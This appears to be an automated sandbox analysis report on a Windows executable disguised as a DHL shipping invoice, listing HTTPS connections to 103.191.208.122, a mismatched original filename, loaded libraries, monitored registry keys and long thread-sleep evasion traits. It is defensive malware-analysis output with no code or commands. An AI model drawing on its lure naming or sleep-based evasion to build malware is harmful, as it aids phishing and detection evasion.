Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57062
Source: unknown	Network traffic detected: HTTP traffic on port 57099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56899
Source: unknown	Network traffic detected: HTTP traffic on port 57015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57079
Source: unknown	Network traffic detected: HTTP traffic on port 57021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57074
Source: unknown	Network traffic detected: HTTP traffic on port 57050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56780
Source: unknown	Network traffic detected: HTTP traffic on port 57044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57073
Source: unknown	Network traffic detected: HTTP traffic on port 57077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57085
Source: unknown	Network traffic detected: HTTP traffic on port 57049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57086
Source: unknown	Network traffic detected: HTTP traffic on port 57072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57081
Source: unknown	Network traffic detected: HTTP traffic on port 56964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57082
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57084
Source: unknown	Network traffic detected: HTTP traffic on port 56704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57080

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57113 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: DHL-SHIPPING INVOICE-1&.exe

Sample has a suspicious name (potential lure to open the executable)

Source: DHL-SHIPPING INVOICE-1&.exe

Static file information: Suspicious name

Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000000.1748813314.00000000007B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNyxvzdld.exe2 vs DHL-SHIPPING INVOICE-1&.exe
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4210604047.0000000000E7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL-SHIPPING INVOICE-1&.exe
Source: DHL-SHIPPING INVOICE-1&.exe	Binary or memory string: OriginalFilenameNyxvzdld.exe2 vs DHL-SHIPPING INVOICE-1&.exe

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal60.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Mutant created: NULL

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DHL-SHIPPING INVOICE-1&.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: gpapi.dll	Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Code function: 0_2_00DE04EF push ebx; retf

0_2_00DE04F2

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: 2C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Window / User API: threadDelayed 1580			Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Window / User API: threadDelayed 8241			Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7324	Thread sleep count: 1580 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7324	Thread sleep count: 8241 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99166s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -197876s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98822s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -97878s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -97750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -97641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99295s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99181s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -99055s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 7292	Thread sleep time: -98719s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99843	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99735	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99391	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99281	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99166	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98822	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98593	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98454	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98218	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98016	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 97878	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 97750	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 97641	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99953	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99844	Jump to behavior
